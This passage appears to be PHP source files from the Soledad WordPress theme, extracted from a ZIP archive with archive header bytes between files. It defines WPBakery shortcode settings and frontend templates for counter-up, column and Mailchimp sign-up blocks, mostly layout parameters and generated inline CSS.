				'param_name'       => 'number_margin_top',
				'heading'          => __( 'Custom margin top for number', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'number_padding_lr',
				'heading'          => __( 'Custom padding left/right for number', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'title_margin_top',
				'heading'          => __( 'Custom margin top for title', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Delay', 'soledad' ),
				'param_name' => 'cup_delay',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Time', 'soledad' ),
				'param_name' => 'cup_time',
			),
			// Heading
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Show Heading Title', 'soledad' ),
				'param_name'  => 'show_block_heading',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => 'Heading',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
				'param_name' => 'heading_title_style',
				'std'        => '',
				'value'      => array(
					esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
					esc_html__( 'Style 1', 'soledad' )                      => 'style-1',
					esc_html__( 'Style 2', 'soledad' )                      => 'style-2',
					esc_html__( 'Style 3', 'soledad' )                      => 'style-3',
					esc_html__( 'Style 4', 'soledad' )                      => 'style-4',
					esc_html__( 'Style 5', 'soledad' )                      => 'style-5',
					esc_html__( 'Style 6', 'soledad' )                      => 'style-6',
					esc_html__( 'Style 7', 'soledad' )                      => 'style-7',
					esc_html__( 'Style 8', 'soledad' )                      => 'style-9',
					esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
					esc_html__( 'Style 10', 'soledad' )                     => 'style-10',
					esc_html__( 'Style 11', 'soledad' )                     => 'style-11',
					esc_html__( 'Style 12', 'soledad' )                     => 'style-12',
					esc_html__( 'Style 13', 'soledad' )                     => 'style-13',
					esc_html__( 'Style 14', 'soledad' )                     => 'style-14',
					esc_html__( 'Style 15', 'soledad' )                     => 'style-15',
					esc_html__( 'Style 16', 'soledad' )                     => 'style-16',
					esc_html__( 'Style 17', 'soledad' )                     => 'style-2 style-17',
					esc_html__( 'Style 18', 'soledad' )                     => 'style-18',
					esc_html__( 'Style 19', 'soledad' )                     => 'style-18 style-19',
					esc_html__( 'Style 20', 'soledad' )                     => 'style-18 style-20',
					esc_html__( 'Style 21', 'soledad' )                     => 'style-21',
					esc_html__( 'Style 22', 'soledad' )                     => 'style-22',
					esc_html__( 'Style 23', 'soledad' )                     => 'style-23',
					esc_html__( 'Style 24', 'soledad' )                     => 'style-24',
					esc_html__( 'Style 25', 'soledad' )                     => 'style-25',
					esc_html__( 'Style 26', 'soledad' )                     => 'style-26',
					esc_html__( 'Style 27', 'soledad' )                     => 'style-27',
					esc_html__( 'Style 28', 'soledad' )                     => 'style-28',
				),
				'group'      => 'Heading',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Heading Title', 'soledad' ),
				'param_name'  => 'heading',
				'value'       => esc_html__( 'Heading Title', 'soledad' ),
				'std'         => esc_html__( 'Heading Title', 'soledad' ),
				'admin_label' => true,
				'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
				'group'       => 'Heading',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Title Url', 'soledad' ),
				'param_name'  => 'heading_title_link',
				'std'         => '',
				'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
				'group'       => 'Heading',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Heading Align', 'soledad' ),
				'param_name' => 'heading_title_align',
				'std'        => '',
				'value'      => array(
					esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
					esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
					esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
					esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
				),
				'group'      => 'Heading',
			),
			array(
				'type'        => 'dropdown',
				'heading'     => 'Align Icon on Style 15',
				'value'       => array(
					'Default( follow Customize )' => '',
					'Right'                       => 'pciconp-right',
					'Left'                        => 'pciconp-left',
				),
				'param_name'  => 'heading_icon_pos',
				'description' => '',
				'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				'group'       => 'Heading',
			),
			array(
				'type'        => 'dropdown',
				'heading'     => 'Custom Icon on Style 15',
				'value'       => array(
					'Default( follow Customize )' => '',
					'Arrow Right'                 => 'pcicon-right',
					'Arrow Left'                  => 'pcicon-left',
					'Arrow Down'                  => 'pcicon-down',
					'Arrow Up'                    => 'pcicon-up',
					'Star'                        => 'pcicon-star',
					'Bars'                        => 'pcicon-bars',
					'File'                        => 'pcicon-file',
					'Fire'                        => 'pcicon-fire',
					'Book'                        => 'pcicon-book',
				),
				'param_name'  => 'heading_icon',
				'description' => '',
				'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				'group'       => 'Heading',
			),
		),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		// Color
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_icon_heading',
				'heading'          => esc_html__( 'Icon', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon color', 'soledad' ),
				'param_name'       => 'cup_icon_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon background color', 'soledad' ),
				'param_name'       => 'cup_icon_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'cup_icon_size',
				'heading'          => __( 'Font size for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_number_heading',
				'heading'          => esc_html__( 'Number', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Number Color', 'soledad' ),
				'param_name'       => 'cup_number_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'cup_number_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'cup_number_size',
				'heading'          => __( 'Font Size for Number', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Font Weight for Number', 'soledad' ),
				'param_name' => 'cup_number_weight',
				'std'        => 's1',
				'value'      => array(
					__( 'Default', 'soledad' ) => '',
					'Normal'                   => 'normal',
					'Bold'                     => 'bold',
					'Bolder'                   => 'bolder',
					'Lighter'                  => 'lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900'
				),
				'group'      => $group_color,
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_prefix_suffix_heading',
				'heading'          => esc_html__( 'Prefix and Suffix', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Prefix and Suffix Color', 'soledad' ),
				'param_name'       => 'cup_frefix_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'cup_frefix_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'heading'          => esc_html__( 'Font size for Prefix and Suffix', 'soledad' ),
				'param_name'       => 'cup_frefix_size',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_title_heading',
				'heading'          => esc_html__( 'Title', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Title color', 'soledad' ),
				'param_name'       => 'cup_title_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'cup_title_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'cup_title_size',
				'heading'          => __( 'Font size for Title', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Font Weight for Number', 'soledad' ),
				'param_name' => 'cup_title_weight',
				'std'        => 's1',
				'value'      => array(
					__( 'Default', 'soledad' ) => '',
					'Normal'                   => 'normal',
					'Bold'                     => 'bold',
					'Bolder'                   => 'bolder',
					'Lighter'                  => 'lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900'
				),
				'group'      => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\n    .  js_composer/shortcodes/counter_up/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$cup_style          = $cup_align = $cup_number = $cup_prefix_number = $cup_suffix_number = $cup_title = '';
$cup_icon_type      = $cup_image = $img_size = $cup_icon = $icon_border_style = $icon_border_width = '';
$icon_border_radius = $icon_padding = $_image_width_height = $icon_margin_bottom = $number_margin_top = $number_padding_lr = '';
$title_margin_top   = $button_margin_top = $button_margin_bottom = $cup_delay = $cup_time = '';

$cup_icon_color   = $cup_icon_bgcolor = $cup_icon_size = '';
$cup_number_color = $cup_number_typo = $cup_number_size = $cup_number_weight = '';
$cup_frefix_color = $cup_frefix_size = $cup_frefix_typo = '';
$cup_title_color  = $cup_title_typo = $cup_title_size = $cup_title_weight = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-counter-up';
$css_class .= ' penci-style-' . $cup_style;
$css_class .= ' penci-counterup-' . $cup_align;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'counter_up' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		if ( isset( $atts['show_block_heading'] ) && 'yes' == $atts['show_block_heading'] ) {
			Penci_Vc_Helper::markup_block_title( $atts );
		}
		?>
        <div class="penci-counter-up_inner">
			<?php
			if ( 'icon' == $cup_icon_type ) {
				vc_icon_element_fonts_enqueue( 'fontawesome' );
				if ( $cup_icon ) {
					$icon = '<div class="penci-cup_icon penci-cup_icon--icon">';
					$icon .= '<i class="penci-cup_iconn--i ' . $cup_icon . '"></i>';
					$icon .= '</div>';
					echo $icon;
				}
			} elseif ( $cup_image ) {
				$icon = '<div class="penci-cup_icon penci-cup_icon--image">';
				$icon .= '<img alt="" src="' . esc_url( wp_get_attachment_url( $cup_image ) ) . '">';
				$icon .= '</div>';

				echo $icon;
			}
			$data_delay  = $cup_delay ? $cup_delay : 0;
			$data_time   = $cup_time ? $cup_time : 2000;
			$data_number = $cup_number ? $cup_number : 0;
			?>
            <div class="penci-cup-info">
                <div class="penci-cup-number-wrapper">
				<span class="penci-span-inner">
				<?php if ( $cup_prefix_number ): ?><span
                        class="penci-cup-label penci-cup-prefix"><?php echo $cup_prefix_number; ?></span><?php endif; ?>
					<span class="penci-counterup-number" data-delay="<?php echo $data_delay; ?>"
                          data-time="<?php echo $data_time; ?>" data-count="<?php echo $data_number; ?>">0</span>
					<?php if ( $cup_suffix_number ): ?><span
                            class="penci-cup-label penci-cup-postfix"><?php echo $cup_suffix_number; ?></span><?php endif; ?>
				</span>
                </div>
				<?php if ( $cup_title ): ?>
                    <div class="penci-cup-title"><?php echo $cup_title; ?></div><?php endif; ?>
            </div>
        </div>
    </div>
<?php
$id_counter_up = '#' . $block_id;
$id_counter_up2 = 'body:not(.pcdm-enable) #' . $block_id;

$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_counter_up, $atts );

if ( 'icon' == $cup_icon_type ) {
	if ( $icon_border_style ) {
		$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-style: ' . ( $icon_border_style ) . ' }';

		if ( $icon_border_radius ) {
			$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-radius: ' . ( $icon_border_radius ) . ' }';
		}
		if ( $icon_border_width ) {
			$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-width: ' . ( $icon_border_width ) . ' }';
		} else {
			$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-width: 1px; }';
		}
	}
}

if ( $icon_padding ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup_icon{ padding: {{VALUE}}px }', $icon_padding );
}

if ( $_image_width_height ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup_icon{ width: {{VALUE}}px;height: {{VALUE}}px }', $_image_width_height );
}
if ( $icon_margin_bottom ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup_icon{ margin-bottom: {{VALUE}}px }', $icon_margin_bottom );
}

if ( $number_margin_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup-number-wrapper{ margin-top: {{VALUE}}px }', $number_margin_top );
}

if ( $number_padding_lr ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-counterup-number{ margin-left: {{VALUE}}px; margin-right: {{VALUE}}px; }', $number_padding_lr );
}

if ( $title_margin_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup-title{ margin-top: {{VALUE}}px }', $title_margin_top );
}

$icon_custom_css_color = '';
if ( $cup_icon_color ) {
	$icon_custom_css_color .= 'color: ' . ( $cup_icon_color ) . ';';
}
if ( $cup_icon_bgcolor ) {
	$icon_custom_css_color .= 'background-color: ' . ( $cup_icon_bgcolor ) . ';';
}
if ( $cup_icon_size ) {
	$icon_custom_css_color .= 'font-size: ' . ( $cup_icon_size ) . ';';
}
if ( $icon_custom_css_color ) {
	$css_custom .= $id_counter_up . ' .penci-cup_icon{' . ( $icon_custom_css_color ) . '}';
}

$number_custom_css_color = '';
if ( $cup_number_color ) {
	$number_custom_css_color .= 'color: ' . ( $cup_number_color ) . ';';
}
if ( $cup_number_weight ) {
	$number_custom_css_color .= 'font-weight: ' . ( $cup_number_weight ) . ';';
}
if ( $number_custom_css_color ) {
	$css_custom .= $id_counter_up . ' .penci-counterup-number{' . ( $number_custom_css_color ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $cup_number_size,
	'font_style' => $cup_number_typo,
	'template'   => $id_counter_up . ' .penci-counterup-number{ %s }',
) );

if ( $cup_frefix_color ) {
	$css_custom .= $id_counter_up . ' .penci-cup-label { color: ' . ( $cup_frefix_color ) . ';}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $cup_frefix_size,
	'font_style' => $cup_frefix_typo,
	'template'   => $id_counter_up . ' .penci-cup-label{ %s }',
) );

$title_custom_css_color = '';
if ( $cup_title_color ) {
	$title_custom_css_color .= 'color: ' . ( $cup_title_color ) . ';';
}
if ( $cup_title_weight ) {
	$title_custom_css_color .= 'font-weight: ' . ( $cup_title_weight ) . ';';
}
if ( $title_custom_css_color ) {
	$css_custom .= $id_counter_up . ' .penci-cup-title{' . ( $title_custom_css_color ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $cup_title_size,
	'font_style' => $cup_title_typo,
	'template'   => $id_counter_up . ' .penci-cup-title{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_counter_up, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\    *  js_composer/shortcodes/column/settings.phpnu [        <?php
vc_map( array(
	'base'                      => "penci_column",
	'icon'                      => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                  => 'Soledad',
	'html_template'             => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/column/frontend.php',
	'weight'                    => 700,
	'name'                      => __( 'Column', 'soledad' ),
	'class'                     => 'vc_main-sortable-element',
	'wrapper_class'             => '',
	'controls'                  => 'full',
	'allowed_container_element' => false,
	'content_element'           => false,
	'is_container'              => true,
	'params'                    => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'width',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'class_layout',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'order',
		),
	),
	'js_view'                   => 'VcColumnView',
) );PK     0w\1gܿ    *  js_composer/shortcodes/column/frontend.phpnu [        <?php
$el_class = $el_id = $width = $css = $offset = $css_animation = $order = '';
$output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

wp_enqueue_script( 'wpb_composer_front_js' );

$width = penci_wpb_translateColumnWidthToSpan( $width, $order );
$css_classes = array(
	$this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation ),
	'penci-vc-column',
	$width
);

$wrapper_attributes = array();
$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( $css_classes ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$innerColumnClass = 'penci-column-inner ' . esc_attr( trim( vc_shortcode_custom_css_class( $css ) ) );
$output .= '<div class="' . trim( $innerColumnClass ) . '">';
$output .= '<div class="wpb_wrapper">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';

// @codingStandardsIgnoreLine
echo $output;
PK     0w\XR    -  js_composer/shortcodes/mailchimp/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_mailchimp",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/mailchimp/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Mailchimp', 'soledad' ),
	'description'   => 'Mailchimp Block',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'        => 'dropdown',
			'heading'     => esc_html__( 'Choose Style your sign-up form', 'soledad' ),
			'param_name'  => 'mailchimp_style',
			'std'         => 's1',
			'value'       => array(
				esc_html__( 'Default', 'soledad' )        => 's1',
				esc_html__( 'Boxed One Line', 'soledad' ) => 's2',
				esc_html__( 'Background', 'soledad' )     => 's3',
				esc_html__( 'Briefness', 'soledad' )      => 's4',
			),
			'description' => sprintf( __( 'You can edit your sign-up form in the <a href="%s">MailChimp for WordPress form settings</a>.', 'soledad' ), admin_url( 'admin.php?page=mailchimp-for-wp-forms' ) ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'content_w',
			'heading'    => esc_html__( 'Content width', 'soledad' ),
			'value'      => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Content Alignment', 'soledad' ),
			'param_name' => 'content_alignment',
			'std'        => 'left',
			'value'      => array(
				'Left'   => 'margin-right: auto',
				'Center' => 'margin-left: auto; margin-right: auto;',
				'Right'  => 'margin-left: auto',
			),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'mc4wp_des_width',
			'heading'    => esc_html__( 'Description width', 'soledad' ),
			'value'      => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'mc4wp_des_martop',
			'heading'          => esc_html__( 'Margin top', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'mc4wp_des_marbottom',
			'heading'          => esc_html__( 'Margin bottom', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		)
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'color_genral_css',
			'heading'          => esc_html__( ' Sign-up form colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Background color', 'soledad' ),
			'param_name' => 'mc4wp_bg_color',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'mailchimp_style', 'value' => array( 's2', 's3' ) ),
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Description color', 'soledad' ),
			'param_name'       => 'mc4wp_des_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input name & email background color', 'soledad' ),
			'param_name'       => 'mc4wp_bg_input_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( ' Input name & email border color', 'soledad' ),
			'param_name'       => 'mc4wp_border_input_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input name & email text color', 'soledad' ),
			'param_name'       => 'mc4wp_text_input',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Placeholder input name & email color', 'soledad' ),
			'param_name'       => 'mc4wp_placeh_input',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit text color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit background color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit border color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit hover text color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit hover background color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button submit hover border color', 'soledad' ),
			'param_name'       => 'mc4wp_submit_hborder_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\練#  #  -  js_composer/shortcodes/mailchimp/frontend.phpnu [        <?php
$output              = $penci_block_width = $el_class = $css_animation = $css = '';
$mailchimp_style     = $mc4wp_bg_color = '';
$mc4wp_des_color     = $mc4wp_bg_input_color = $mc4wp_border_input_color = $mc4wp_text_input = $mc4wp_placeh_input = '';
$mc4wp_submit_color  = $mc4wp_submit_bgcolor = $mc4wp_submit_border_color = '';
$mc4wp_submit_hcolor = $mc4wp_submit_hbgcolor = $mc4wp_submit_hborder_color = $responsive_spacing = '';

$mc4wp_des_width = $mc4wp_des_martop = $mc4wp_des_marbottom = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-mailchimp-block';
$css_class .= ' penci-mailchimp-' . $mailchimp_style;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'mailchimp' );

$class_signup_form = 'widget widget_mc4wp_form_widget';
if ( 's2' == $mailchimp_style ) {
	$class_signup_form .= ' penci-header-signup-form';
} elseif ( 's3' == $mailchimp_style ) {
	$class_signup_form .= ' footer-subscribe';
}
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
    <div class="penci-block_content">
    <div class="<?php echo esc_attr( $class_signup_form ); ?>">
		<?php
		if ( function_exists( 'mc4wp_show_form' ) ) {
			mc4wp_show_form();
		}
		?>
        <div>
        </div>
    </div>
<?php

$id_mailchimp = '#' . $block_id;
$id_mailchimp2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = Penci_Vc_Helper::get_heading_block_css( $id_mailchimp, $atts );

if ( $mc4wp_bg_color ) {
	$css_custom .= $id_mailchimp . ' .footer-subscribe,';
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form{ background-color: ' . esc_attr( $mc4wp_bg_color ) . '; }';
}
if ( $mc4wp_bg_color ) {
	$css_custom .= $id_mailchimp . ' .footer-subscribe,';
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form{ background-color: ' . esc_attr( $mc4wp_bg_color ) . '; }';
}

if ( $mc4wp_des_color ) {
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form .mc4wp-form-fields > p,';
	$css_custom .= $id_mailchimp . ' .penci-header-signup-form form > p,';
	$css_custom .= $id_mailchimp . ' .footer-subscribe .mc4wp-form .mdes,';
	$css_custom .= $id_mailchimp . ' .mc4wp-form-fields{ color: ' . esc_attr( $mc4wp_des_color ) . '; }';
}

if ( $mc4wp_des_width ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .mc4wp-form .mdes{ max-width: {{VALUE}}px;width: 100%;display: inline-block; }', $mc4wp_des_width );
}
if ( $mc4wp_des_martop ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .mc4wp-form .mdes{ margin-top: {{VALUE}}px; }', $mc4wp_des_martop );
}
if ( $mc4wp_des_marbottom ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .mc4wp-form .mdes{ margin-bottom: {{VALUE}}px; }', $mc4wp_des_marbottom );
}

$css_custom_input = '';
if ( $mc4wp_bg_input_color ) {
	$css_custom_input .= 'background-color: ' . esc_attr( $mc4wp_bg_input_color ) . ';';
}
if ( $mc4wp_border_input_color ) {
	$css_custom_input .= 'border-color: ' . esc_attr( $mc4wp_border_input_color ) . ';';
}
if ( $mc4wp_text_input ) {
	$css_custom_input .= 'color: ' . esc_attr( $mc4wp_text_input ) . ';';
}

if ( $css_custom_input ) {
	$css_custom .= $id_mailchimp . ' .widget input[type="text"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="email"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="date"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="number"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="search"],';
	$css_custom .= $id_mailchimp . ' .widget input[type="password"]{' . esc_attr( $css_custom_input ) . '}';
}

if ( $mc4wp_placeh_input ) {
	$css_custom .= $id_mailchimp . ' input::-webkit-input-placeholder{ color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
	$css_custom .= $id_mailchimp . ' input::-moz-placeholder { color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
	$css_custom .= $id_mailchimp . ' input:-ms-input-placeholder{ color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
